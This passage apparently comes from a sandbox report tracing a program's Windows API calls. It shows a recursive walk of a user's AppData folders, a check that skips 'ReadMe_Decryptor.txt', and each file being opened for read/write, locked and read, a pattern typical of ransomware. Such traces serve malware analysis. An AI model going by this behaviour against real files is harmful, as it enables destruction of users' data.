(in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2850 | out: hHeap=0x5b0000) returned 1 [0034.863] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x615228 | out: hHeap=0x5b0000) returned 1 [0034.863] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x615450 | out: hHeap=0x5b0000) returned 1 [0034.863] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x606998 [0034.864] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40) returned 0x5c7b58 [0034.864] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1b) returned 0x60d560 [0034.864] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1b) returned 0x60d538 [0034.864] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1b) returned 0x60d588 [0034.864] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1b) returned 0x60d600 [0034.864] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d538 | out: hHeap=0x5b0000) returned 1 [0034.864] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d560 | out: hHeap=0x5b0000) returned 1 [0034.864] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x213) returned 0x615450 [0034.864] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1b) returned 0x60d560 [0034.864] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1b) returned 0x60d538 [0034.864] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d560 | out: hHeap=0x5b0000) returned 1 [0034.864] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x113) returned 0x5d2850 [0034.864] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d538 | out: hHeap=0x5b0000) returned 1 [0034.864] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0034.864] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x433) returned 0x5d2970 [0034.864] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2970 | out: hHeap=0x5b0000) returned 1 [0034.864] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606cd8 | out: hHeap=0x5b0000) returned 1 [0034.864] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d510 | out: hHeap=0x5b0000) returned 1 [0034.864] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x113) returned 0x5d2970 [0034.864] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2850 | out: hHeap=0x5b0000) returned 1 [0034.864] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x615450 | out: hHeap=0x5b0000) returned 1 [0034.864] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x18) returned 0x5cb8c8 [0034.864] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x113) returned 0x5d2850 [0034.864] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x113) returned 0x5d2a90 [0034.870] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5b0 | out: hHeap=0x5b0000) returned 1 [0034.870] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x113) returned 0x5d2bb0 [0034.870] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2a90 | out: hHeap=0x5b0000) returned 1 [0034.870] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d600 | out: hHeap=0x5b0000) returned 1 [0034.870] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d588 | out: hHeap=0x5b0000) returned 1 [0034.870] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7b58 | out: hHeap=0x5b0000) returned 1 [0034.870] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2850 | out: hHeap=0x5b0000) returned 1 [0034.870] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0034.870] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606998 | out: hHeap=0x5b0000) returned 1 [0034.870] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c8b8 | out: hHeap=0x5b0000) returned 1 [0034.870] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x113) returned 0x5d2850 [0034.870] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2850 | out: hHeap=0x5b0000) returned 1 [0034.870] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6105c0 | out: hHeap=0x5b0000) returned 1 [0034.870] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c798 | out: hHeap=0x5b0000) returned 1 [0034.870] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2970 | out: hHeap=0x5b0000) returned 1 [0034.870] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d1880 | out: hHeap=0x5b0000) returned 1 [0034.870] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d1760 | out: hHeap=0x5b0000) returned 1 [0034.870] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d448 | out: hHeap=0x5b0000) returned 1 [0034.870] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cc550 | out: hHeap=0x5b0000) returned 1 [0034.871] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60cdc0 | out: hHeap=0x5b0000) returned 1 [0034.871] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x113) returned 0x5d2cd0 [0034.871] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x113) returned 0x60cdc0 [0034.871] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2cd0 | out: hHeap=0x5b0000) returned 1 [0034.871] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60cdc0 | out: hHeap=0x5b0000) returned 1 [0034.871] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2bb0 | out: hHeap=0x5b0000) returned 1 [0034.871] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2058 | out: hHeap=0x5b0000) returned 1 [0034.871] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cbeb0 | out: hHeap=0x5b0000) returned 1 [0034.871] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0034.871] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606a50 | out: hHeap=0x5b0000) returned 1 [0034.871] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0034.871] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0034.871] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d4e8 | out: hHeap=0x5b0000) returned 1 [0034.871] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0034.871] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0034.871] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d470 | out: hHeap=0x5b0000) returned 1 [0034.871] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0034.871] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d5f30 | out: hHeap=0x5b0000) returned 1 [0034.871] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d4c0 | out: hHeap=0x5b0000) returned 1 [0034.871] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b618 | out: hHeap=0x5b0000) returned 1 [0034.871] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7600 | out: hHeap=0x5b0000) returned 1 [0034.871] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4d18 | out: hHeap=0x5b0000) returned 1 [0034.871] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cc8d0 | out: hHeap=0x5b0000) returned 1 [0034.871] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40) returned 0x5c7600 [0034.871] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x210) returned 0x5d2058 [0034.871] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\*", fInfoLevelId=0x0, lpFindFileData=0x18fb4c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18fb4c) returned 0x600310 [0034.871] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0034.871] FindNextFileW (in: hFindFile=0x600310, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0034.872] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0034.872] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0034.872] FindNextFileW (in: hFindFile=0x600310, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppData", cAlternateFileName="")) returned 1 [0034.872] lstrcmpW (lpString1="AppData", lpString2=".") returned 1 [0034.872] lstrcmpW (lpString1="AppData", lpString2="..") returned 1 [0034.872] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40) returned 0x5c7b58 [0034.872] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b618 [0034.872] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7b58 | out: hHeap=0x5b0000) returned 1 [0034.872] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2058 | out: hHeap=0x5b0000) returned 1 [0034.872] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x5eb818 [0034.872] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x210) returned 0x5d2058 [0034.872] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\*", fInfoLevelId=0x0, lpFindFileData=0x18f85c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f85c) returned 0x6003d0 [0034.872] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0034.872] FindNextFileW (in: hFindFile=0x6003d0, lpFindFileData=0x18f85c | out: lpFindFileData=0x18f85c*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0034.872] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0034.872] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0034.872] FindNextFileW (in: hFindFile=0x6003d0, lpFindFileData=0x18f85c | out: lpFindFileData=0x18f85c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb264df80, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb264df80, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Local", cAlternateFileName="")) returned 1 [0034.872] lstrcmpW (lpString1="Local", lpString2=".") returned 1 [0034.872] lstrcmpW (lpString1="Local", lpString2="..") returned 1 [0034.872] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x5eba28 [0034.872] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x76) returned 0x5c2700 [0034.872] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5eba28 | out: hHeap=0x5b0000) returned 1 [0034.872] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2058 | out: hHeap=0x5b0000) returned 1 [0034.872] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x60b680 [0034.872] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x210) returned 0x5d2058 [0034.872] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\*", fInfoLevelId=0x0, lpFindFileData=0x18f56c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f56c) returned 0x600410 [0034.873] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0034.873] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb264df80, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb264df80, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0034.874] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0034.874] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0034.874] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe", cAlternateFileName="")) returned 1 [0034.874] lstrcmpW (lpString1="Adobe", lpString2=".") returned 1 [0034.874] lstrcmpW (lpString1="Adobe", lpString2="..") returned 1 [0034.874] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x60b6e8 [0034.874] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8e) returned 0x5e9ca0 [0034.874] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0034.874] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2058 | out: hHeap=0x5b0000) returned 1 [0034.874] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x5e9a18 [0034.874] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x210) returned 0x5d2058 [0034.874] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\*", fInfoLevelId=0x0, lpFindFileData=0x18f27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f27c) returned 0x600450 [0034.874] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0034.874] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0034.875] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0034.875] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0034.875] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acrobat", cAlternateFileName="")) returned 1 [0034.875] lstrcmpW (lpString1="Acrobat", lpString2=".") returned 1 [0034.875] lstrcmpW (lpString1="Acrobat", lpString2="..") returned 1 [0034.875] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x60c5e8 [0034.875] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa6) returned 0x601838 [0034.875] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c5e8 | out: hHeap=0x5b0000) returned 1 [0034.875] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2058 | out: hHeap=0x5b0000) returned 1 [0034.875] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x60c5e8 [0034.875] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x210) returned 0x5d2058 [0034.875] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0034.876] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0034.876] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0034.877] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0034.877] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0034.877] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xee135b70, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xee135b70, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="10.0", cAlternateFileName="")) returned 1 [0034.877] lstrcmpW (lpString1="10.0", lpString2=".") returned 1 [0034.877] lstrcmpW (lpString1="10.0", lpString2="..") returned 1 [0034.877] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x5e6250 [0034.877] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2058 | out: hHeap=0x5b0000) returned 1 [0034.877] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x5d0838 [0034.877] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x210) returned 0x5d2058 [0034.877] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0034.878] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0034.878] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xee135b70, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xee135b70, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0034.879] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0034.879] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0034.879] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe952fcd0, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x892c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeCMapFnt10.lst", cAlternateFileName="ADOBEC~1.LST")) returned 1 [0034.879] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x605358 [0034.879] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0034.879] lstrcmpW (lpString1="AdobeCMapFnt10.lst", lpString2="ReadMe_Decryptor.txt") returned -1 [0034.879] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\AdobeCMapFnt10.lst" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\adobecmapfnt10.lst"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x26c [0034.879] GetFileSize (in: hFile=0x26c, lpFileSizeHigh=0x18ec60 | out: lpFileSizeHigh=0x18ec60*=0x0) returned 0x892c [0034.879] LockFile (hFile=0x26c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x8a44, nNumberOfBytesToLockHigh=0x0) returned 1 [0034.880] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0034.880] ReadFile (in: hFile=0x26c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0034.896] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0034.896] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x100023) returned 0x2ea0020 [0035.009] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0035.009] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0035.009] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0035.009] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0035.009] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0035.009] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0035.009] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0035.009] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0035.009] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0035.009] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0035.010] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606950 [0035.010] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0035.010] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0035.010] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0035.010] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0035.010] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0035.010] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d470 [0035.010] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0035.010] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0035.010] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d470 | out: hHeap=0x5b0000) returned 1 [0035.010] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7b58 [0035.010] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0035.010] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b6e8 [0035.010] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7b58 | out: hHeap=0x5b0000) returned 1 [0035.010] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x5cc8d0 [0035.010] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0035.010] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x5cc968 [0035.010] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cc8d0 | out: hHeap=0x5b0000) returned 1 [0035.010] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x5cbeb0 [0035.010] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cc968 | out: hHeap=0x5b0000) returned 1 [0035.010] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x60cdc0 [0035.010] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cbeb0 | out: hHeap=0x5b0000) returned 1 